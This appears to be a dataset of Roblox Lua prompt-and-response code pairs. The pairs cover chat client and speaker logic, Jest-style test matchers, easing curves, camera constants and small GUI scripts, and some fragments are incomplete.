				MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(p67)),
				Message = trimTrailingSpaces(p67),
				MessageType = v12.MessageTypeWelcome,
				Time = os.time(),
				ExtraData = nil
			};
			v67:AddMessageToChannel(v72);
			if getEchoMessagesInGeneral() then
				if p71 then
					if not v13.ShowChannelsBar then
						if p66 ~= v13.GeneralChannelName then
							local v73 = v28:GetChannel(v13.GeneralChannelName);
							if v73 then
								v73:AddMessageToChannel(v72);
							end;
						end;
					end;
				end;
			end;
		end;
		DoFadeInFromNewInformation();
	end;
end;
u3.OnChannelJoined.OnClientEvent:connect(function(p72, p73, p74, p75)
	HandleChannelJoined(p72, p73, p74, p75, false, true);
end);
u3.OnChannelLeft.OnClientEvent:connect(function(p76)
	v28:RemoveChannel(p76);
	DoFadeInFromNewInformation();
end);
u3.OnMuted.OnClientEvent:connect(function(p77)

end);
u3.OnUnmuted.OnClientEvent:connect(function(p78)

end);
u3.OnMainChannelSet.OnClientEvent:connect(function(p79)
	DoSwitchCurrentChannel(p79);
end);
coroutine.wrap(function()
	local l__ChannelNameColorUpdated__74 = v9:WaitForChild("ChannelNameColorUpdated", 5);
	if l__ChannelNameColorUpdated__74 then
		l__ChannelNameColorUpdated__74.OnClientEvent:connect(function(p80, p81)
			v32:SetChannelNameColor(p80, p81);
		end);
	end;
end)();
local u22 = nil;
local u23 = nil;
local u24 = nil;
local u25 = nil;
pcall(function()
	u22 = l__StarterGui__7:GetCore("PlayerBlockedEvent");
	u23 = l__StarterGui__7:GetCore("PlayerMutedEvent");
	u24 = l__StarterGui__7:GetCore("PlayerUnblockedEvent");
	u25 = l__StarterGui__7:GetCore("PlayerUnmutedEvent");
end);
function SendSystemMessageToSelf(p82)
	local v75 = v28:GetCurrentChannel();
	if v75 then
		v75:AddMessageToChannel({
			ID = -1,
			FromSpeaker = nil,
			SpeakerUserId = 0,
			OriginalChannel = v75.Name,
			IsFiltered = true,
			MessageLength = string.len(p82),
			MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(p82)),
			Message = trimTrailingSpaces(p82),
			MessageType = v12.MessageTypeSystem,
			Time = os.time(),
			ExtraData = nil
		});
	end;
end;
function MutePlayer(p83)
	local l__MutePlayerRequest__76 = v9:FindFirstChild("MutePlayerRequest");
	if l__MutePlayerRequest__76 then

	else
		return false;
	end;
	return l__MutePlayerRequest__76:InvokeServer(p83.Name);
end;
if u22 then
	u22.Event:connect(function(p84)
		if MutePlayer(p84) then
			if v13.PlayerDisplayNamesEnabled then
				local v77 = p84.DisplayName;
			else
				v77 = p84.Name;
			end;
			SendSystemMessageToSelf(u1:Get("GameChat_ChatMain_SpeakerHasBeenBlocked", string.format("Speaker '%s' has been blocked.", v77), {
				RBX_NAME = v77
			}));
		end;
	end);
end;
if u23 then
	u23.Event:connect(function(p85)
		if MutePlayer(p85) then
			if v13.PlayerDisplayNamesEnabled then
				local v78 = p85.DisplayName;
			else
				v78 = p85.Name;
			end;
			SendSystemMessageToSelf(u1:Get("GameChat_ChatMain_SpeakerHasBeenMuted", string.format("Speaker '%s' has been muted.", v78), {
				RBX_NAME = v78
			}));
		end;
	end);
end;
function UnmutePlayer(p86)
	local l__UnMutePlayerRequest__79 = v9:FindFirstChild("UnMutePlayerRequest");
	if l__UnMutePlayerRequest__79 then

	else
		return false;
	end;
	return l__UnMutePlayerRequest__79:InvokeServer(p86.Name);
end;
if u24 then
	u24.Event:connect(function(p87)
		if UnmutePlayer(p87) then
			if v13.PlayerDisplayNamesEnabled then
				local v80 = p87.DisplayName;
			else
				v80 = p87.Name;
			end;
			SendSystemMessageToSelf(u1:Get("GameChat_ChatMain_SpeakerHasBeenUnBlocked", string.format("Speaker '%s' has been unblocked.", v80), {
				RBX_NAME = v80
			}));
		end;
	end);
end;
if u25 then
	u25.Event:connect(function(p88)
		if UnmutePlayer(p88) then
			if v13.PlayerDisplayNamesEnabled then
				local v81 = p88.DisplayName;
			else
				v81 = p88.Name;
			end;
			SendSystemMessageToSelf(u1:Get("GameChat_ChatMain_SpeakerHasBeenUnMuted", string.format("Speaker '%s' has been unmuted.", v81), {
				RBX_NAME = v81
			}));
		end;
	end);
end;
spawn(function()
	if v22.UserId > 0 then
		pcall(function()
			local v82 = l__StarterGui__7:GetCore("GetBlockedUserIds");
			if #v82 > 0 then
				local l__SetBlockedUserIdsRequest__83 = v9:FindFirstChild("SetBlockedUserIdsRequest");
				if l__SetBlockedUserIdsRequest__83 then
					l__SetBlockedUserIdsRequest__83:FireServer(v82);
				end;
			end;
		end);
	end;
end);
spawn(function()
	local v84, v85 = pcall(function()
		return l__Chat__6:CanUserChatAsync(v22.UserId);
	end);
	if v84 then
		u19 = l__RunService__20:IsStudio() and v85;
	end;
end);
local v86 = u3.GetInitDataRequest:InvokeServer();
for v87, v88 in pairs(v86.Channels) do
	if v88[1] == v13.GeneralChannelName then
		HandleChannelJoined(v88[1], v88[2], v88[3], v88[4], true, false);
	end;
end;
for v89, v90 in pairs(v86.Channels) do
	if v90[1] ~= v13.GeneralChannelName then
		HandleChannelJoined(v90[1], v90[2], v90[3], v90[4], true, false);
	end;
end;
return u14;


Prompt: -- ROBLOX deviation: toBeUndefined equivalent to toBeNil

Response:
local function toBeUndefined(
	-- ROBLOX deviation: self param in Lua needs to be explicitely defined
	self: MatcherState,
	received: any,
	expected: nil
)
	local matcherName = "toBeUndefined"
	local options: MatcherHintOptions = {
		isNot = self.isNot,
		promise = self.promise,
	}
	ensureNoExpected(expected, matcherName, options)

	local pass = received == nil

	local message = function()
		return matcherHint(matcherName, nil, "", options)
			.. "\n\n"
			.. string.format("Received: %s", printReceived(received))
	end

	return { message = message, pass = pass }
end

local function toContain(
	-- ROBLOX deviation: self param in Lua needs to be explicitely defined
	self: MatcherState,
	received: any,
	expected: any
)
	local matcherName = "toContain"
	local isNot = self.isNot
	local options: MatcherHintOptions = {
		comment = "string.find or table.find",
		isNot = isNot,
		promise = self.promise,
	}

	if received == nil then
		error(
			Error(
				matcherErrorMessage(
					matcherHint(matcherName, nil, nil, options),
					string.format("%s value must not be nil", RECEIVED_COLOR("received")),
					printWithType("Received", received, printReceived)
				)
			)
		)
	end

	if typeof(received) == "string" then
		local wrongTypeErrorMessage = ("%s value must be a string if %s value is a string"):format(
			EXPECTED_COLOR("expected"),
			RECEIVED_COLOR("received")
		)
		if typeof(expected) ~= "string" then
			error(
				Error.new(
					matcherErrorMessage(
						matcherHint(matcherName, received, tostring(expected), options),
						wrongTypeErrorMessage,
						tostring(printWithType("Expected", expected, printExpected))
							.. "\n"
							.. tostring(printWithType("Received", received, printReceived))
					)
				)
			)
		end

		local index = received:find(tostring(expected), 1, true)
		local pass = index ~= nil

		local message = function()
			local labelExpected = string.format("Expected %s", typeof(expected) == "string" and "substring" or "value")
			local labelReceived = "Received string"
			local printLabel = getLabelPrinter(labelExpected, labelReceived)

			return matcherHint(matcherName, nil, nil, options)
				.. "\n\n"
				.. string.format(
					"%s%s%s\n",
					printLabel(labelExpected),
					isNot and "never " or "",
					printExpected(expected)
				)
				.. string.format(
					"%s%s%s",
					printLabel(labelReceived),
					isNot and "      " or "",
					isNot and printReceivedStringContainExpectedSubstring(received, index, #tostring(expected))
						or printReceived(received)
				)
		end

		return { message = message, pass = pass }
	end

	local indexable = Array.from(received)
	local index = table.find(indexable, expected)
	local pass = index ~= nil

	local message = function()
		local labelExpected = "Expected value"
		local labelReceived = string.format("Received %s", getType(received))
		local printLabel = getLabelPrinter(labelExpected, labelReceived)

		local retval = matcherHint(matcherName, nil, nil, options)
			.. "\n\n"
			.. string.format(
				"%s%s%s\n",
				printLabel(labelExpected),
				isNot and "never " or "",
				printExpected(expected)
			)
			.. string.format("%s%s", printLabel(labelReceived), isNot and "      " or "")
		if isNot and Array.isArray(received) then
			retval = retval .. printReceivedArrayContainExpectedItem(received, index)
		else
			retval = retval .. printReceived(received)
		end
		if
			not isNot
			and Array.findIndex(received, function(item)
					return equals(item, expected, { iterableEquality })
				end)
				~= -1
		then
			retval = retval .. string.format("\n\n%s", SUGGEST_TO_CONTAIN_EQUAL)
		end

		return retval
	end

	return { message = message, pass = pass }
end

local function toContainEqual(
	-- ROBLOX deviation: self param in Lua needs to be explicitely defined
	self: MatcherState,
	received: any,
	expected: any
)
	local matcherName = "toContainEqual"
	local isNot = self.isNot
	local options: MatcherHintOptions = {
		comment = "deep equality",
		isNot = isNot,
		promise = self.promise,
	}

	if received == nil then
		error(
			Error(
				matcherErrorMessage(
					matcherHint(matcherName, nil, nil, options),
					string.format("%s value must not be nil", RECEIVED_COLOR("received")),
					printWithType("Received", received, printReceived)
				)
			)
		)
	end

	local index = Array.findIndex(Array.from(received), function(item)
		return equals(item, expected, { iterableEquality })
	end)
	local pass = index ~= -1

	local message = function()
		local labelExpected = "Expected value"
		local labelReceived = string.format("Received %s", getType(received))
		local printLabel = getLabelPrinter(labelExpected, labelReceived)

		local retval = matcherHint(matcherName, nil, nil, options)
			.. "\n\n"
			.. string.format(
				"%s%s%s\n",
				printLabel(labelExpected),
				isNot and "never " or "",
				printExpected(expected)
			)
			.. string.format("%s%s", printLabel(labelReceived), isNot and "      " or "")
		if isNot and Array.isArray(received) then
			retval = retval .. printReceivedArrayContainExpectedItem(received, index)
		else
			retval = retval .. printReceived(received)
		end

		return retval
	end

	return { message = message, pass = pass }
end

local function toEqual(
	-- ROBLOX deviation: self param in Lua needs to be explicitely defined
	self: MatcherState,
	received: any,
	expected: any
)
	local matcherName = "toEqual"
	local options: MatcherHintOptions = {
		comment = "deep equality",
		isNot = self.isNot,
		promise = self.promise,
	}

	local pass = equals(received, expected, { iterableEquality })

	local message
	if pass then
		message = function()
			local retval = matcherHint(matcherName, nil, nil, options)
				.. "\n\n"
				.. string.format("Expected: never %s\n", printExpected(expected))
			if stringify(expected) ~= stringify(received) then
				retval = retval .. string.format("Received:       %s", printReceived(received))
			end
			return retval
		end
	else
		message = function()
			return matcherHint(matcherName, nil, nil, options)
				.. "\n\n"
				.. printDiffOrStringify(expected, received, EXPECTED_LABEL, RECEIVED_LABEL, isExpand(self.expand))
		end
	end

	-- Passing the actual and expected objects so that a custom reporter
	-- could access them, for example in order to display a custom visual diff,
	-- or create a different error message
	return { actual = received, expected = expected, message = message, name = matcherName, pass = pass }
end

local function toHaveLength(
	-- ROBLOX deviation: self param in Lua needs to be explicitely defined
	self: MatcherState,
	received: any,
	expected: number
)
	local matcherName = "toHaveLength"
	local isNot = self.isNot
	local options: MatcherHintOptions = {
		isNot = isNot,
		promise = self.promise,
	}

	-- ROBLOX deviation: only strings and array-like tables have a well defined built in length in Lua
	-- we also allow for objects that have a length property
	local hasLengthProperty = typeof(received) == "table" and typeof(received.length) == "number"
	if not Array.isArray(received) and typeof(received) ~= "string" and not hasLengthProperty then
		error(
			Error(
				matcherErrorMessage(
					matcherHint(matcherName, nil, nil, options),
					string.format(
						"%s value must have a length property whose value must be a number",
						RECEIVED_COLOR("received")
					),
					printWithType("Received", received, printReceived)
				)
			)
		)
	end

	ensureExpectedIsNonNegativeInteger(expected, matcherName, options)

	local pass
	local receivedLength
	if received.length ~= nil then
		receivedLength = received.length
		pass = receivedLength == expected
	else
		receivedLength = #received
		pass = receivedLength == expected
	end

	local message = function()
		local labelExpected = "Expected length"
		local labelReceivedLength = "Received length"
		local labelReceivedValue = string.format("Received %s", getType(received))
		local printLabel = getLabelPrinter(labelExpected, labelReceivedLength, labelReceivedValue)

		local retval = matcherHint(matcherName, nil, nil, options)
			.. "\n\n"
			.. string.format(
				"%s%s%s\n",
				printLabel(labelExpected),
				isNot and "never " or "",
				printExpected(expected)
			)
		if not isNot then
			retval = retval .. string.format("%s%s\n", printLabel(labelReceivedLength), printReceived(receivedLength))
		end

		return retval
			.. string.format(
				"%s%s%s",
				printLabel(labelReceivedValue),
				isNot and "      " or "",
				printReceived(received)
			)
	end

	return { message = message, pass = pass }
end

local function toHaveProperty(
	-- ROBLOX deviation: self param in Lua needs to be explicitely defined
	self: MatcherState,
	received: any,
	expectedPath: any,
	expectedValue: any?
)
	local matcherName = "toHaveProperty"
	local expectedArgument = "path"
	local hasValue = expectedValue ~= nil
	local options: MatcherHintOptions = {
		isNot = self.isNot,
		promise = self.promise,
		secondArgument = hasValue and "value" or "",
	}

	if received == nil then
		error(
			Error(
				matcherErrorMessage(
					matcherHint(matcherName, nil, expectedArgument, options),
					string.format("%s value must not be nil", RECEIVED_COLOR("received")),
					printWithType("Received", received, printReceived)
				)
			)
		)
	end

	local expectedPathType = getType(expectedPath)

	if expectedPathType ~= "string" and expectedPathType ~= "table" then
		error(
			Error(
				matcherErrorMessage(
					matcherHint(matcherName, nil, expectedArgument, options),
					string.format("%s path must be a string or array", EXPECTED_COLOR("expected")),
					printWithType("Expected", expectedPath, printExpected)
				)
			)
		)
	end

	local expectedPathLength
	if typeof(expectedPath) == "string" then
		expectedPathLength = #pathAsArray(expectedPath)
	else
		expectedPathLength = #expectedPath
	end

	if expectedPathType == "table" and expectedPathLength == 0 then
		error(
			Error(
				matcherErrorMessage(
					matcherHint(matcherName, nil, expectedArgument, options),
					string.format("%s path must not be an empty array", EXPECTED_COLOR("expected")),
					printWithType("Expected", expectedPath, printExpected)
				)
			)
		)
	end

	local result = getPath(received, expectedPath)
	local lastTraversedObject = result.lastTraversedObject
	local hasEndProp = result.hasEndProp
	local receivedPath = result.traversedPath
	local hasCompletePath = #receivedPath == expectedPathLength

	local receivedValue
	if hasCompletePath then
		receivedValue = result.value
	else
		receivedValue = lastTraversedObject
	end

	local pass
	if hasValue then
		pass = equals(result.value, expectedValue, { iterableEquality })
	else
		pass = not not hasEndProp -- theoretically undefined if empty path
	end
	-- Remove type cast if we rewrite getPath as iterative algorithm.

	-- ROBLOX deviation: omit code block for dealing with upstream edge case with undefined expectedValues

	local message
	if pass then
		message = function()
			local retval = matcherHint(matcherName, nil, expectedArgument, options) .. "\n\n"
			if hasValue then
				retval = retval
					.. string.format("Expected path: %s\n\n", printExpected(expectedPath))
					.. string.format("Expected value: never %s", printExpected(expectedValue))
				if stringify(expectedValue) ~= stringify(receivedValue) then
					return retval .. string.format("\nReceived value:       %s", printReceived(receivedValue))
				end
				return retval
			else
				return retval
					.. string.format("Expected path: never %s\n\n", printExpected(expectedPath))
					.. string.format("Received value: %s", printReceived(receivedValue))
			end
		end
	else
		message = function()
			local retval = matcherHint(matcherName, nil, expectedArgument, options)
				.. "\n\n"
				.. string.format("Expected path: %s\n", printExpected(expectedPath))
			if hasCompletePath then
				return retval
					.. "\n"
					.. printDiffOrStringify(
						expectedValue,
						receivedValue,
						EXPECTED_VALUE_LABEL,
						RECEIVED_VALUE_LABEL,
						isExpand(self.expand)
					)
			end
			retval = retval .. "Received path: "

			if expectedPathType == "table" or #receivedPath == 0 then
				retval = retval .. string.format("%s\n\n", printReceived(receivedPath))
			else
				retval = retval .. string.format("%s\n\n", printReceived(table.concat(receivedPath, ".")))
			end

			if hasValue then
				retval = retval .. string.format("Expected value: %s\n", printExpected(expectedValue))
			end

			return retval .. string.format("Received value: %s", printReceived(receivedValue))
		end
	end

	return { message = message, pass = pass }
end


Prompt: --[[Shutdown]]

Response:
	car.DriveSeat.ChildRemoved:Connect(function(child)
		if child.Name=="SeatWeld" and child:IsA("Weld") then
			script.Parent:Destroy()
		end
	end)


Prompt: -- @specs https://design.firefox.com/photon/motion/duration-and-easing.html

Response:
local MozillaCurve = Bezier(0.07, 0.95, 0, 1)

local function Smooth(T)
	return T * T * (3 - 2 * T)
end

local function Smoother(T)
	return T * T * T * (T * (6 * T - 15) + 10)
end

local function RidiculousWiggle(T)
	return math.sin(math.sin(T * 3.141592653589793115997963468544185161590576171875) * 1.5707963267948965579989817342720925807952880859375)
end

local function Spring(T)
	return 1 + (-math.exp(-6.9 * T) * math.cos(-20.1061929829746759423869661986827850341796875 * T))
end

local function SoftSpring(T)
	return 1 + (-math.exp(-7.5 * T) * math.cos(-10.05309649148733797119348309934139251708984375 * T))
end

local function OutBounce(T)
	return T < 0.36363636363636364645657295113778673112392425537109375 and 7.5625 * T * T
		or T < 0.7272727272727272929131459022755734622478485107421875 and 3 + T * (11 * T - 12) * 0.6875
		or T < 0.90909090909090906063028114658663980662822723388671875 and 6 + T * (11 * T - 18) * 0.6875
		or 7.875 + T * (11 * T - 21) * 0.6875
end

local function InBounce(T)
	if T > 0.63636363636363635354342704886221326887607574462890625 then
		T = T - 1
		return 1 - T * T * 7.5625
	elseif T > 0.2727272727272727070868540977244265377521514892578125 then
		return (11 * T - 7) * (11 * T - 3) / -16
	elseif T > 0.0909090909090909116141432377844466827809810638427734375 then
		return (11 * (4 - 11 * T) * T - 3) / 16
	else
		return T * (11 * T - 1) * -0.6875
	end
end

return setmetatable({
	Linear = Linear;

	OutSmooth = Smooth;
	InSmooth = Smooth;
	InOutSmooth = Smooth;

	OutSmoother = Smoother;
	InSmoother = Smoother;
	InOutSmoother = Smoother;

	OutRidiculousWiggle = RidiculousWiggle;
	InRidiculousWiggle = RidiculousWiggle;
	InOutRidiculousWiggle = RidiculousWiggle;

	OutRevBack = RevBack;
	InRevBack = RevBack;
	InOutRevBack = RevBack;

	OutSpring = Spring;
	InSpring = Spring;
	InOutSpring = Spring;

	OutSoftSpring = SoftSpring;
	InSoftSpring = SoftSpring;
	InOutSoftSpring = SoftSpring;

	InSharp = Sharp;
	InOutSharp = Sharp;
	OutSharp = Sharp;

	InAcceleration = Acceleration;
	InOutAcceleration = Acceleration;
	OutAcceleration = Acceleration;

	InStandard = Standard;
	InOutStandard = Standard;
	OutStandard = Standard;

	InDeceleration = Deceleration;
	InOutDeceleration = Deceleration;
	OutDeceleration = Deceleration;

	InFabricStandard = FabricStandard;
	InOutFabricStandard = FabricStandard;
	OutFabricStandard = FabricStandard;

	InFabricAccelerate = FabricAccelerate;
	InOutFabricAccelerate = FabricAccelerate;
	OutFabricAccelerate = FabricAccelerate;

	InFabricDecelerate = FabricDecelerate;
	InOutFabricDecelerate = FabricDecelerate;
	OutFabricDecelerate = FabricDecelerate;

	InUWPAccelerate = UWPAccelerate;
	InOutUWPAccelerate = UWPAccelerate;
	OutUWPAccelerate = UWPAccelerate;

	InStandardProductive = StandardProductive;
	OutStandardProductive = StandardProductive;
	InOutStandardProductive = StandardProductive;

	InStandardExpressive = StandardExpressive;
	OutStandardExpressive = StandardExpressive;
	InOutStandardExpressive = StandardExpressive;

	InEntranceProductive = EntranceProductive;
	OutEntranceProductive = EntranceProductive;
	InOutEntranceProductive = EntranceProductive;

	InEntranceExpressive = EntranceExpressive;
	OutEntranceExpressive = EntranceExpressive;
	InOutEntranceExpressive = EntranceExpressive;

	InExitProductive = ExitProductive;
	OutExitProductive = ExitProductive;
	InOutExitProductive = ExitProductive;

	InExitExpressive = ExitExpressive;
	OutExitExpressive = ExitExpressive;
	InOutExitExpressive = ExitExpressive;

	OutMozillaCurve = MozillaCurve;
	InMozillaCurve = MozillaCurve;
	InOutMozillaCurve = MozillaCurve;

	InQuad = function(T)
		return T * T
	end;

	OutQuad = function(T)
		return T * (2 - T)
	end;

	InOutQuad = function(T)
		return T < 0.5 and 2 * T * T or 2 * (2 - T) * T - 1
	end;

	InCubic = function(T)
		return T * T * T
	end;

	OutCubic = function(T)
		return 1 - (1 - T) * (1 - T) * (1 - T)
	end;

	InOutCubic = function(T)
		return T < 0.5 and 4 * T * T * T or 1 + 4 * (T - 1) * (T - 1) * (T - 1)
	end;

	InQuart = function(T)
		return T * T * T * T
	end;

	OutQuart = function(T)
		T = T - 1
		return 1 - T * T * T * T
	end;

	InOutQuart = function(T)
		if T < 0.5 then
			T = T * T
			return 8 * T * T
		else
			T = T - 1
			return 1 - 8 * T * T * T * T
		end;
	end;

	InQuint = function(T)
		return T * T * T * T * T
	end;

	OutQuint = function(T)
		T = T - 1
		return T * T * T * T * T + 1
	end;

	InOutQuint = function(T)
		if T < 0.5 then
			return 16 * T * T * T * T * T
		else
			T = T - 1
			return 16 * T * T * T * T * T + 1
		end;
	end;

	InBack = function(T)
		return T * T * (3 * T - 2)
	end;

	OutBack = function(T)
		return (T - 1) * (T - 1) * (T * 2 + T - 1) + 1
	end;

	InOutBack = function(T)
		return T < 0.5 and 2 * T * T * (2 * 3 * T - 2) or 1 + 2 * (T - 1) * (T - 1) * (2 * 3 * T - 2 - 2)
	end;

	InSine = function(T)
		return 1 - math.cos(T * 1.5707963267948965579989817342720925807952880859375)
	end;

	OutSine = function(T)
		return math.sin(T * 1.5707963267948965579989817342720925807952880859375)
	end;

	InOutSine = function(T)
		return (1 - math.cos(3.141592653589793115997963468544185161590576171875 * T)) / 2
	end;

	OutBounce = OutBounce;
	InBounce = InBounce;

	InOutBounce = function(T)
		return T < 0.5 and InBounce(2 * T) / 2 or OutBounce(2 * T - 1) / 2 + 0.5
	end;

	InElastic = function(T)
		return math.exp((T * 0.9638073641881153008625915390439331531524658203125 - 1) * 8) * T *
			0.9638073641881153008625915390439331531524658203125 *
			math.sin(4 * T * 0.9638073641881153008625915390439331531524658203125) * 1.8752275007428715891677484250976704061031341552734375
	end;

	OutElastic = function(T)
		return 1 +
			(math.exp(8 * (0.9638073641881153008625915390439331531524658203125 - 0.9638073641881153008625915390439331531524658203125 * T - 1)) *
			0.9638073641881153008625915390439331531524658203125 * (T - 1) *
			math.sin(4 * 0.9638073641881153008625915390439331531524658203125 * (1 - T))) * 1.8752275007428715891677484250976704061031341552734375
	end;

	InOutElastic = function(T)
		return T < 0.5 and (math.exp(8 * (2 * 0.9638073641881153008625915390439331531524658203125 * T - 1)) * 0.9638073641881153008625915390439331531524658203125 * T * math.sin(2 * 4 * 0.9638073641881153008625915390439331531524658203125 * T)) * 1.8752275007428715891677484250976704061031341552734375
			or 1 + (math.exp(8 * (0.9638073641881153008625915390439331531524658203125 * (2 - 2 * T) - 1)) * 0.9638073641881153008625915390439331531524658203125 * (T - 1) * math.sin(4 * 0.9638073641881153008625915390439331531524658203125 * (2 - 2 * T))) * 1.8752275007428715891677484250976704061031341552734375
	end;

	InExpo = function(T)
		return T * T * math.exp(4 * (T - 1))
	end;

	OutExpo = function(T)
		return 1 - (1 - T) * (1 - T) / math.exp(4 * T)
	end;

	InOutExpo = function(T)
		return T < 0.5 and 2 * T * T * math.exp(4 * (2 * T - 1)) or 1 - 2 * (T - 1) * (T - 1) * math.exp(4 * (1 - 2 * T))
	end;

	InCirc = function(T)
		return -(math.sqrt(1 - T * T) - 1)
	end;

	OutCirc = function(T)
		T = T - 1
		return math.sqrt(1 - T * T)
	end;

	InOutCirc = function(T)
		T = T * 2
		if T < 1 then
			return -(math.sqrt(1 - T * T) - 1) / 2
		else
			T = T - 2
			return (math.sqrt(1 - T * T) - 1) / 2
		end
	end;
}, {
	__index = function(_, Index)
		error(tostring(Index) .. " is not a valid easing style.", 2)
	end;
})


Prompt:
--[=[
	@param name string
	@param priority number
	@param fn (dt: number) -> ()
	Calls `RunService:BindToRenderStep` and registers a function in the
	trove that will call `RunService:UnbindFromRenderStep` on cleanup.

	```lua
	trove:BindToRenderStep("Test", Enum.RenderPriority.Last.Value, function(dt)
		-- Do something
	end)
	```
]=]

Response:
function Trove:BindToRenderStep(name: string, priority: number, fn: (dt: number) -> ())
	RunService:BindToRenderStep(name, priority, fn)
	self:Add(function()
		RunService:UnbindFromRenderStep(name)
	end)
end


Prompt:
--Instructions--
--1) Copy this into a local script.
--2) place the local script into "StarterPlayerScripts"
--3) The script should then disable swimming in your game,


Prompt:
-- Note: DotProduct check in CoordinateFrame::lookAt() prevents using values within about
-- 8.11 degrees of the +/- Y axis, that's why these limits are currently 80 degrees

Response:
local MIN_Y = math.rad(-80)
local MAX_Y = math.rad(80)

local VR_ANGLE = math.rad(15)
local VR_LOW_INTENSITY_ROTATION = Vector2.new(math.rad(15), 0)
local VR_HIGH_INTENSITY_ROTATION = Vector2.new(math.rad(45), 0)
local VR_LOW_INTENSITY_REPEAT = 0.1
local VR_HIGH_INTENSITY_REPEAT = 0.4

local ZERO_VECTOR2 = Vector2.new(0,0)
local ZERO_VECTOR3 = Vector3.new(0,0,0)

local SEAT_OFFSET = Vector3.new(0,5,0)
local VR_SEAT_OFFSET = Vector3.new(0,4,0)
local HEAD_OFFSET = Vector3.new(0,1.5,0)
local R15_HEAD_OFFSET = Vector3.new(0, 1.5, 0)
local R15_HEAD_OFFSET_NO_SCALING = Vector3.new(0, 2, 0)
local HUMANOID_ROOT_PART_SIZE = Vector3.new(2, 2, 1)

local GAMEPAD_ZOOM_STEP_1 = 0
local GAMEPAD_ZOOM_STEP_2 = 10
local GAMEPAD_ZOOM_STEP_3 = 20

local ZOOM_SENSITIVITY_CURVATURE = 0.5
local FIRST_PERSON_DISTANCE_MIN = 0.5

local Util = require(script.Parent:WaitForChild("CameraUtils"))
local ZoomController = require(script.Parent:WaitForChild("ZoomController"))
local CameraToggleStateController = require(script.Parent:WaitForChild("CameraToggleStateController"))
local CameraInput = require(script.Parent:WaitForChild("CameraInput"))
local CameraUI = require(script.Parent:WaitForChild("CameraUI"))


Prompt:
--TheNexusAvenger
--Creates a bomb explosion. Minor modifications from the Rocket Launcher.

Response:
local Configuration = require(script.Parent:WaitForChild("Configuration"))

local FORCE_GRANULARITY = Configuration.FORCE_GRANULARITY
local BLAST_RADIUS = Configuration.BLAST_RADIUS
local BLAST_PRESSURE = Configuration.BLAST_PRESSURE * FORCE_GRANULARITY

local ExplosionCreator = {}

local Debris = game:GetService("Debris")
local ReplicatedStorage = game:GetService("ReplicatedStorage")

local Configuration = require(script.Parent:WaitForChild("Configuration"))
local PlayerDamager = require(script.Parent:WaitForChild("PlayerDamager"))


Prompt:
--////////////////////////////// Methods
--//////////////////////////////////////

Response:
local methods = {}
methods.__index = methods

function methods:SayMessage(message, channelName, extraData)
	if (self.ChatService:InternalDoProcessCommands(self.Name, message, channelName)) then return end
	if (not channelName) then return end

	local channel = self.Channels[channelName:lower()]
	if (not channel) then
		error("Speaker is not in channel \"" .. channelName .. "\"")
	end

	local messageObj = channel:InternalPostMessage(self, message, extraData)
	if (messageObj) then
		local success, err = pcall(function() self.eSaidMessage:Fire(messageObj, channelName) end)
		if not success and err then
			print("Error saying message: " ..err)
		end
	end

	return messageObj
end

function methods:JoinChannel(channelName)
	if (self.Channels[channelName:lower()]) then
		warn("Speaker is already in channel \"" .. channelName .. "\"")
		return
	end

	local channel = self.ChatService:GetChannel(channelName)
	if (not channel) then
		error("Channel \"" .. channelName .. "\" does not exist!")
	end

	self.Channels[channelName:lower()] = channel
	channel:InternalAddSpeaker(self)
	local success, err = pcall(function()
		self.eChannelJoined:Fire(channel.Name, channel.WelcomeMessage)
	end)
	if not success and err then
		print("Error joining channel: " ..err)
	end
end

function methods:LeaveChannel(channelName)
	if (not self.Channels[channelName:lower()]) then
		warn("Speaker is not in channel \"" .. channelName .. "\"")
		return
	end

	local channel = self.Channels[channelName:lower()]

	self.Channels[channelName:lower()] = nil
	channel:InternalRemoveSpeaker(self)
	local success, err = pcall(function()
		self.eChannelLeft:Fire(channel.Name)
	end)
	if not success and err then
		print("Error leaving channel: " ..err)
	end
end

function methods:IsInChannel(channelName)
	return (self.Channels[channelName:lower()] ~= nil)
end

function methods:GetChannelList()
	local list = {}
	for i, channel in pairs(self.Channels) do
		table.insert(list, channel.Name)
	end
	return list
end

function methods:SendMessage(message, channelName, fromSpeaker, extraData)
	local channel = self.Channels[channelName:lower()]
	if (channel) then
		channel:SendMessageToSpeaker(message, self.Name, fromSpeaker, extraData)

	else
		warn(string.format("Speaker '%s' is not in channel '%s' and cannot receive a message in it.", self.Name, channelName))

	end
end

function methods:SendSystemMessage(message, channelName, extraData)
	local channel = self.Channels[channelName:lower()]
	if (channel) then
		channel:SendSystemMessageToSpeaker(message, self.Name, extraData)

	else
		warn(string.format("Speaker '%s' is not in channel '%s' and cannot receive a system message in it.", self.Name, channelName))

	end
end

function methods:GetPlayer()
	return self.PlayerObj
end

function methods:SetExtraData(key, value)
	self.ExtraData[key] = value
	self.eExtraDataUpdated:Fire(key, value)
end

function methods:GetExtraData(key)
	return self.ExtraData[key]
end

function methods:SetMainChannel(channelName)
	local success, err = pcall(function() self.eMainChannelSet:Fire(channelName) end)
	if not success and err then
		print("Error setting main channel: " ..err)
	end
end


Prompt: ----[[ Color Settings ]]

Response:
module.BackGroundColor = Color3.new(0, 0, 0)
module.DefaultMessageColor = Color3.new(1, 1, 1)
module.DefaultNameColor = Color3.new(1, 1, 1)
module.ChatBarBackGroundColor = Color3.new(0, 0, 0)
module.ChatBarBoxColor = Color3.new(1, 1, 1)
module.ChatBarTextColor = Color3.new(0, 0, 0)
module.ChannelsTabUnselectedColor = Color3.new(0, 0, 0)
module.ChannelsTabSelectedColor = Color3.new(1, 0.333333, 0)
module.DefaultChannelNameColor = Color3.fromRGB(255, 170, 0)
module.WhisperChannelNameColor = Color3.fromRGB(102, 14, 102)
module.ErrorMessageTextColor = Color3.fromRGB(255, 170, 0)


Prompt: -- goro7

Response:
local plr = game.Players.LocalPlayer
local inputService = game:GetService("UserInputService")
local guiService = game:GetService("GuiService")

function close()

	-- Set not visible
	plr.PlayerGui.GUIClick:Play()
	game.ReplicatedStorage.Interactions.Server.UpdateTradeSession:FireServer(4)
	script.Parent.Parent.EndSession:Fire(true)
	guiService.SelectedObject = nil

end

script.Parent.MouseButton1Click:connect(close)
inputService.InputBegan:connect(function(inputObj)
	if inputObj.KeyCode == Enum.KeyCode.ButtonB and script.Parent.Parent.Visible then
		close()
	end
end)


Prompt: -- Get the LocalPlayer and PlayerGui

Response:
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")


Prompt: --repeat wait() until script.Parent.HumanoidRootPart

Response:
local a = 0
